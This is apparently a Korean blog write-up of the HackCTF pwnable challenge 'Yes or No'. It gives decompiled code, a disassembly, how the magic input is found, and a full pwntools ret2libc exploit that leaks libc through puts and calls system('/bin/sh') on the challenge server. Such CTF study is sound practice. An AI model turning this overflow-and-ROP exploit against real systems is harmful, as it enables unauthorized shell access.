[HackCTF] Yes or No
System/PWNABLE

[HackCTF] Yes or No

728x90

check

- 64bit

- NX 가 걸려있다

- 18.04에서 만들어진? 테스트된 문제라고 한다.

Analyze

pseudo code (IDA 사용)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // eax
  int v4; // eax
  int v5; // ecx
  int v6; // eax
  int v7; // eax
  char s; // [rsp+Eh] [rbp-12h]
  int v10; // [rsp+18h] [rbp-8h]
  int v11; // [rsp+1Ch] [rbp-4h]
 
  setvbuf(stdout, 0LL, 2, 0LL);
  v11 = 5;
  puts("Show me your number~!");
  fgets(&s, 10, stdin);
  v10 = atoi(&s);
  if ( (v11 - 10>> 3 < 0 )
  {
    v4 = 0;
  }
  else
  {
    v3 = v11++;
    v4 = v10 - v3;
  }
  if ( v4 == v10 )
  {
    puts("Sorry. You can't come with us");
  }
  else
  {
    v5 = 1204 / ++v11;
    v6 = v11++;
    if ( v10 == v6 * v5 << (++v11 % 20 + 5) )
    {
      puts("That's cool. Follow me");
      gets(&s);
    }
    else
    {
      v7 = v11--;
      if ( v10 == v7 )
      {
        printf("Why are you here?");
        return 0;
      }
      puts("All I can say to you is \"do_system+1094\".\ngood luck");
    }
  }
  return 0;
}
cs

- rbp로부터 0x12byte만큼 떨어진 문자열s에 fgets 함수를 이용해 표준입력을 통해 10byte만큼 입력받도록 한다. 

- v10은 s를 atoi 함수를 이용해 정수로 변환한 값이다. 이 때 atoi 함수는 

- 이번 문제의 목표는 여러 조건들을 맞춰 gets(&s)에 도달하여 버퍼오버플로우를 발생시키는 것이다. 

>> 조건에 대해 pseudo code로 이해하는 것은 조금 어려울 것 같아서 아래에서 디버깅을 통해 찾아보려고 한다!

>> buf[0x12]+SFP[8]+RET(system("/bin/sh"))

실행

debugging

ubuntu 18.04에서 디버깅

do_system + 1094에 대한 언급이 있어서 한 번 찾아봤다. 무슨 의미인지는 잘 모르겠지만,, 우선 rsp-0x40에 대한 정보를 찾아보려고 한다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
pwndbg> disassemble main
Dump of assembler code for function main:
   0x00000000004006c7 <+0>:    push   rbp
   0x00000000004006c8 <+1>:    mov    rbp,rsp
   0x00000000004006cb <+4>:    sub    rsp,0x20
   0x00000000004006cf <+8>:    mov    rax,QWORD PTR [rip+0x20098a]        # 0x601060 <stdout@@GLIBC_2.2.5>
   0x00000000004006d6 <+15>:    mov    ecx,0x0
   0x00000000004006db <+20>:    mov    edx,0x2
   0x00000000004006e0 <+25>:    mov    esi,0x0
   0x00000000004006e5 <+30>:    mov    rdi,rax
   0x00000000004006e8 <+33>:    call   0x4005c0 <setvbuf@plt>
   0x00000000004006ed <+38>:    mov    DWORD PTR [rbp-0x4],0x5
   0x00000000004006f4 <+45>:    lea    rdi,[rip+0x1ad]        # 0x4008a8
   0x00000000004006fb <+52>:    call   0x400580 <puts@plt>
   0x0000000000400700 <+57>:    mov    rdx,QWORD PTR [rip+0x200969]        # 0x601070 <stdin@@GLIBC_2.2.5>
   0x0000000000400707 <+64>:    lea    rax,[rbp-0x12]
   0x000000000040070b <+68>:    mov    esi,0xa
   0x0000000000400710 <+73>:    mov    rdi,rax
   0x0000000000400713 <+76>:    call   0x4005a0 <fgets@plt>
   0x0000000000400718 <+81>:    lea    rax,[rbp-0x12]
   0x000000000040071c <+85>:    mov    rdi,rax
   0x000000000040071f <+88>:    mov    eax,0x0
   0x0000000000400724 <+93>:    call   0x4005d0 <atoi@plt>
   0x0000000000400729 <+98>:    mov    DWORD PTR [rbp-0x8],eax
   0x000000000040072c <+101>:    mov    eax,DWORD PTR [rbp-0x4]
   0x000000000040072f <+104>:    sub    eax,0xa
   0x0000000000400732 <+107>:    sar    eax,0x3
   0x0000000000400735 <+110>:    test   eax,eax
   0x0000000000400737 <+112>:    js     0x40074b <main+132>
   0x0000000000400739 <+114>:    mov    eax,DWORD PTR [rbp-0x4]
   0x000000000040073c <+117>:    lea    edx,[rax+0x1]
   0x000000000040073f <+120>:    mov    DWORD PTR [rbp-0x4],edx
   0x0000000000400742 <+123>:    mov    edx,DWORD PTR [rbp-0x8]
   0x0000000000400745 <+126>:    sub    edx,eax
   0x0000000000400747 <+128>:    mov    eax,edx
   0x0000000000400749 <+130>:    jmp    0x400750 <main+137>
   0x000000000040074b <+132>:    mov    eax,0x0
   0x0000000000400750 <+137>:    cmp    eax,DWORD PTR [rbp-0x8]
   0x0000000000400753 <+140>:    jne    0x400766 <main+159>
   0x0000000000400755 <+142>:    lea    rdi,[rip+0x162]        # 0x4008be
   0x000000000040075c <+149>:    call   0x400580 <puts@plt>
   0x0000000000400761 <+154>:    jmp    0x40080a <main+323>
   0x0000000000400766 <+159>:    add    DWORD PTR [rbp-0x4],0x1
   0x000000000040076a <+163>:    mov    eax,0x4b4
   0x000000000040076f <+168>:    cdq    
   0x0000000000400770 <+169>:    idiv   DWORD PTR [rbp-0x4]
   0x0000000000400773 <+172>:    mov    ecx,eax
   0x0000000000400775 <+174>:    mov    eax,DWORD PTR [rbp-0x4]
   0x0000000000400778 <+177>:    lea    edx,[rax+0x1]
   0x000000000040077b <+180>:    mov    DWORD PTR [rbp-0x4],edx
   0x000000000040077e <+183>:    mov    esi,ecx
   0x0000000000400780 <+185>:    imul   esi,eax
   0x0000000000400783 <+188>:    add    DWORD PTR [rbp-0x4],0x1
   0x0000000000400787 <+192>:    mov    ecx,DWORD PTR [rbp-0x4]
   0x000000000040078a <+195>:    mov    edx,0x66666667
   0x000000000040078f <+200>:    mov    eax,ecx
   0x0000000000400791 <+202>:    imul   edx
   0x0000000000400793 <+204>:    sar    edx,0x3
   0x0000000000400796 <+207>:    mov    eax,ecx
   0x0000000000400798 <+209>:    sar    eax,0x1f
   0x000000000040079b <+212>:    sub    edx,eax
   0x000000000040079d <+214>:    mov    eax,edx
   0x000000000040079f <+216>:    shl    eax,0x2
   0x00000000004007a2 <+219>:    add    eax,edx
   0x00000000004007a4 <+221>:    shl    eax,0x2
   0x00000000004007a7 <+224>:    sub    ecx,eax
   0x00000000004007a9 <+226>:    mov    edx,ecx
   0x00000000004007ab <+228>:    lea    eax,[rdx+0x5]
   0x00000000004007ae <+231>:    mov    ecx,eax
   0x00000000004007b0 <+233>:    shl    esi,cl
   0x00000000004007b2 <+235>:    mov    eax,esi
   0x00000000004007b4 <+237>:    cmp    DWORD PTR [rbp-0x8],eax
   0x00000000004007b7 <+240>:    jne    0x4007d8 <main+273>
   0x00000000004007b9 <+242>:    lea    rdi,[rip+0x11c]        # 0x4008dc
   0x00000000004007c0 <+249>:    call   0x400580 <puts@plt>
   0x00000000004007c5 <+254>:    lea    rax,[rbp-0x12]
   0x00000000004007c9 <+258>:    mov    rdi,rax
   0x00000000004007cc <+261>:    mov    eax,0x0
   0x00000000004007d1 <+266>:    call   0x4005b0 <gets@plt>
   0x00000000004007d6 <+271>:    jmp    0x40080a <main+323>
   0x00000000004007d8 <+273>:    mov    eax,DWORD PTR [rbp-0x4]
   0x00000000004007db <+276>:    lea    edx,[rax-0x1]
   0x00000000004007de <+279>:    mov    DWORD PTR [rbp-0x4],edx
   0x00000000004007e1 <+282>:    cmp    DWORD PTR [rbp-0x8],eax
   0x00000000004007e4 <+285>:    jne    0x4007fe <main+311>
   0x00000000004007e6 <+287>:    lea    rdi,[rip+0x106]        # 0x4008f3
   0x00000000004007ed <+294>:    mov    eax,0x0
   0x00000000004007f2 <+299>:    call   0x400590 <printf@plt>
   0x00000000004007f7 <+304>:    mov    eax,0x0
   0x00000000004007fc <+309>:    jmp    0x40080f <main+328>
   0x00000000004007fe <+311>:    lea    rdi,[rip+0x103]        # 0x400908
   0x0000000000400805 <+318>:    call   0x400580 <puts@plt>
   0x000000000040080a <+323>:    mov    eax,0x0
   0x000000000040080f <+328>:    leave  
   0x0000000000400810 <+329>:    ret    
End of assembler dump.
 
cs

- ~main+93: atoi 함수를 호출하는 부분까지가 조건문이 나오기 이전의 코드이다.

- main+237: rbp-0x8의 값(v10)과 eax의 값을 비교한다 

>> 원하는 gets 함수에 도달할 수 있는 조건 비교 부분이다. 여기에 break point를 설정하여 어떻게 도달할 수 있는지 알아보도록 한다.

비교하는 부분에 break point를 설정했을 때 eax(rax)의 값이 0x960000임을 확인할 수 있다. pseudo code에서 v6 * v5 << (++v11 % 20 + 5) 부분이 eax로 들어가며 이 값이 0x960000라는 것을 알 수 있다. 즉, rbp-8인 v10 변수의 값이 0x960000이여야 하고 처음 숫자(s)를 입력할 때 0x960000의 10진수 값(9,830,400)을 넣어주면 된다.

원하는 대로 잘 흘러간다.

 

 

gadget

rp++
ROPgadget

one_gadget

one gadget으로 하면 EOF를 만난다... 

Exploit

from pwn import *
#context.log_level = 'debug'
#p = process("./yes_or_no")
p = remote("ctf.j0n9hyun.xyz", 3009)
elf = ELF("./yes_or_no")
libc = ELF("./libc-2.27.so")

num = "9830400"

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
puts_off = libc.symbols['puts']
main_add = elf.symbols['main']

pop_rdi = 0x400883
ret = 0x40056e
one_gadget = 0x10a45c

system_off = libc.symbols['system']
binsh = libc.search("/bin/sh").next()

p.sendlineafter("number~!\n",num)

leak = "A"*(0x12+8)
leak += p64(pop_rdi)
leak += p64(puts_got)
leak += p64(puts_plt)
leak += p64(main_add)

p.sendlineafter("Follow me\n", leak)

puts_add = u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
libcbase = puts_add - puts_off
log.info("libc-base: "+hex(libcbase))

system_add = system_off + libcbase
binsh_add = binsh + libcbase

pl = "A"*(0x12+8)
pl += p64(pop_rdi)
pl += p64(binsh_add)
pl += p64(ret)
pl += p64(system_add)

p.sendlineafter("number~!\n", num)
p.sendlineafter("Follow me\n", pl)

p.interactive()

! 성공 !

 

SMALL

'System > PWNABLE' 카테고리의 다른 글

[HackCTF] Poet  (0) 2021.02.11
[HackCTF] RTL_World  (0) 2021.02.11
[HackCTF] BOF_PIE  (0) 2021.02.10
[HackCTF] BASIC_FSB  (0) 2021.02.10
[HackCTF] Simple_Overflow_ver_2  (0) 2021.02.09